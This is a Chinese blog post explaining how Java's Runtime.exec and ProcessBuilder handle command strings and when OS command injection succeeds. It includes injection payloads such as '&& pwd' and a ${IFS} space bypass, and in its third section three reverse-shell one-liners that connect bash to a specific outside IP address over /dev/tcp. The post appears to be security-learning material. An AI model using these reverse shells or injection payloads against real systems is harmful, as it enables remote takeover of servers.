java中的命令执行汇总

这篇具有很好参考价值的文章主要介绍了java中的命令执行汇总。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一、Java中可执行命令的API:

java.lang.Runtime#exec(java.lang.String)
java.lang.Runtime#exec(java.lang.String, java.lang.String[])
java.lang.Runtime#exec(java.lang.String, java.lang.String[], java.io.File)
java.lang.Runtime#exec(java.lang.String[])
java.lang.Runtime#exec(java.lang.String[], java.lang.String[])
java.lang.Runtime#exec(java.lang.String[], java.lang.String[], java.io.File)

java.lang.ProcessBuilder#ProcessBuilder(java.util.List<java.lang.String>)
java.lang.ProcessBuilder#ProcessBuilder(java.lang.String...)
java.lang.ProcessBuilder#command(java.util.List<java.lang.String>)
java.lang.ProcessBuilder#command(java.lang.String...)
java.lang.ProcessBuilder#command()

命令执行漏洞只关注 第一个String参数 或者 String[]或列表的第一个元素

  • 如果该参数完全可控,或者是/bin/bash(Linux)或cmd(Windows)等运行shell解析器的命令、后面的部分可控,则可以注入。

  • 如果的哥参数是bat或者sh脚本文件,后面的参数可控,则需要根据脚本如何使用可控参数来判断是否可以注入。

其他API:

ScriptEngine接口:可使用ScriptEngine.eval解析多种脚本,比如JavaScript,而JavaScript中可以执行java命令。

二、说明

java的Runtime.getRuntime.exec和ProcessBuilder.start,都是直接启动传入参数对应的进程。以curl为例,php的system会启动系统shell,然后通过shell来启动curl进程,这个过程中,如果传入的命令带有shell能解析的语法,就会首先解析。

所以,如果只是命令执行的部分参数可控,想在java中通过;、|、&等实现命令注入,是行不通的。当然不排除程序本身存在漏洞,只需传入参数即可造成漏洞。

1、ProcessBuilder

第一种情况:某个参数可控

new ProcessBuilder(new String[]{"ls", "-lh", dir};);

//不可执行。这种情况下因为不是只能执行ls命令,后面的均为ls的参数。

第二种情况:完全可控

只能执行一些没有参数的命令,因为ProcessBuilder不支持以字符串形式传入命令,只能拆分成List或者数组的形式传入,才能执行。

// String cmd = "xx";

ProcessBuilder builder = new ProcessBuilder(cmd);

Process process = builder.start();

//部分任意执行。这种情况可执行没有参数的命令,原因为这里 cmd 的值表示的是执行命令的文件路径,因此无法使用参数

第三种情况:shell环境下的某个参数可控

new ProcessBuilder(new String[]{"sh", "-c", "echo test", dir};);

//不可任意执行。这种情况下,dir 传入 pwd 或 ;pwd 都无法执行,因为只有 echo test 会作为 -c 选项的参数值

new ProcessBuilder(new String[]{"sh", "-c", "ls -lh " + dir};);

//可执行不带参数的命令。dir 参数用户可控,如果传入如 && pwd,则可以成功执行 pwd 命令

2、Runtime

Runtime的exec(String command)其内部调用了exec(String command, String[] envp, File dir),传入的字符串命令会先经过 StringTokenizer 进行处理,即使用分隔符,包括空格,\t\n\r\f 对字符串进行分隔后,再调用 exec(String[] cmdarray, String[] envp, File dir),最后是通过ProcessBuilder 来执行的。

第一种情况:如果参数完全可控,则可以执行任意命令

Process process = runtime.exec("sh -c whoami");

第二种情况:若没有手动创建 shell 执行命令,没有存在参数注入,则无法实现命令注入

Process process = runtime.exec("ping -c 1 " + ip);

//这种传入 127.0.0.1 | id,是无法正常执行的

第三种情况:手动创建 shell 执行命令,可执行-c 的参数值的命令,但值内不能有空格、\t\n\r\f 分隔符,否则会被分割

// 相当于执行 sh -c curl,example.com 参数会被忽略

String cmd = "sh -c curl example.com";

// \t 也是分割符之一

String cmd = "sh -c curl\texample.com";

// 使用 ${IFS} (对应内部字段分隔符) 来代替空格,成功执行

String cmd = "sh -c curl${IFS}example.com";

三、在exec中反弹shell命令

方法一:

"Runtime.getRuntime().exec(\"/bin/bash -c bash${IFS}-i>&/dev/tcp/7.249.219.5/80<&1\")"

方法二:

"Runtime.getRuntime().exec(\"/bin/bash -c bash<>-i>&/dev/tcp/7.249.219.5/80<&1\")"

方法三:

str = 命令写这里。

cmd = "sh -c $@ | sh . echo" + str

"Runtime.getRuntime().exec(cmd)"

参考:

Java OS 命令注入学习笔记 | b1ngz

在 Runtime.getRuntime().exec(String cmd) 中执行任意shell命令的几种方法文章来源地址https://www.toymoban.com/news/detail-409122.html

到了这里,关于java中的命令执行汇总的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 在Java中执行docker命令

    在Java中执行docker命令可以使用Java的Runtime类或ProcessBuilder类。下面是使用Runtime类执行docker命令的示例代码: 上述代码中,使用Runtime类的exec()方法执行docker ps命令,并通过BufferedReader读取命令执行结果。 另外,使用ProcessBuilder类也可以执行docker命令,示例代码如下:   上述代

    2024年02月09日
    浏览(31)
  • 命令行编译和执行java代码

    虽然现在IDE很强大又很智能,但是平常随意写点练手的代码的时候,直接在命令行中使用vim和java命令更为方便快捷,可以做到无鼠标纯键盘的操作。 首先保证将java相关指令添加到了环境变量中; 1.编译class文件: 编译好的class文件会放置到环境当前目录 (./)中。-d命令的作用

    2024年02月02日
    浏览(35)
  • Java:Java程序通过执行系统命令调用Python脚本

    本文实现功能:Java程序调用Python脚本 直接执行 参考视频 JAVA开发必会小技巧8——用代码调用系统指令

    2024年02月14日
    浏览(62)
  • [JAVA安全]CVE-2022-33980命令执行漏洞分析

    在 i春秋的漏洞靶标上看见了此漏洞,所以前来分析一下漏洞原理,比较也是去年 7月的漏洞。 漏洞描述:Apache官方发布安全公告,修复了一个存在于Apache Commons Configuration 组件的远程代码执行漏洞,漏洞编号:CVE-2022-33980,漏洞威胁等级:高危。恶意攻击者通过该漏洞,可在

    2024年02月15日
    浏览(43)
  • Java 8 中使用反射进行命令执行的 5 个方法

    今天在逛先知的时候看到了一篇文章:《探究使用反射进行除Runtime的命令执行方法》https://xz.aliyun.com/t/12446 其中大概讲了下命令执行的其他构造方式,但最后没有给出实例,所以我这里就简单研究了一下。 在RASP等安全产品防护严密的现在,普通的寻找Runtime.getRuntime().exec(c

    2023年04月20日
    浏览(31)
  • docker里Java服务执行ping命令模拟流式输出

    我们某市的客户,一直使用CS版本的信控平台,直接安装客户Windows server服务器上,主要对信号机设备进行在线管理、方案配时、管控等 其中有一项功能,在网络波动情况,对信号机管控失败,判断信号机是否在线。大致方法是直接调用Windows的dos窗口,发送 ping ip的命令,显

    2024年01月19日
    浏览(34)
  • java实现连接远程服务器,并可以执行shell命令

    你可以使用Java中的SSH库来连接远程服务器并执行shell命令。下面是一个简单的示例代码: 请注意替换 your_host , your_username , your_password 和 your_shell_command 为实际的远程服务器信息和要执行的shell命令。该示例代码使用JSch库来建立SSH连接并执行命令。

    2024年01月20日
    浏览(64)
  • 解决IntelliJ IDEA执行maven打包,执行java -jar命令提示jar中没有主清单属性

    IDEA执行 mvn clean package -DskipTest=true 命令或者借助工具的 Maven菜单 进行打包操作,然后执行 java -jar app.jar 命令后,提示jar中没有主清单属性 这个错误通常是由于生成的JAR文件缺少一个主清单属性引起的。在使用 java -jar 命令运行JAR文件时,JVM需要查找JAR文件中包含 Main-Class 属

    2024年02月05日
    浏览(64)
  • Java进程ProcessBuilder类的介绍及使用,ProcessBuilder调用外部程序执行shell命令Linux命令

    目录 ProcessBuilder类的介绍及使用 【前言】 【正文】 --构造方法-- --常用方法-- --使用技巧-- --调用本地Shell命令,实例-- 【总结】 【注意】         在做一个项目的时候需要用到运行时动态执行JAVA命令,一开始的思路是运行时生成bat脚本,然后通过Runtime类的exec方法之行

    2024年02月09日
    浏览(43)
  • 【Java可执行命令】(十五)Java进程状态信息获取工具 jps:获取和监控Java进程的状态信息 ~

    JPS(Java Virtual Machine Process Status Tool) 是 Java Development Kit(JDK) 提供的一个命令行工具,它用于 查看运行在Java虚拟机(JVM)中的所有Java进程 。该工具旨在提供一种方便的方式来获取和监控Java进程的状态信息,以帮助开发人员进行调试、性能分析或诊断。 JPS 是一个Java虚拟

    2024年02月14日
    浏览(36)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包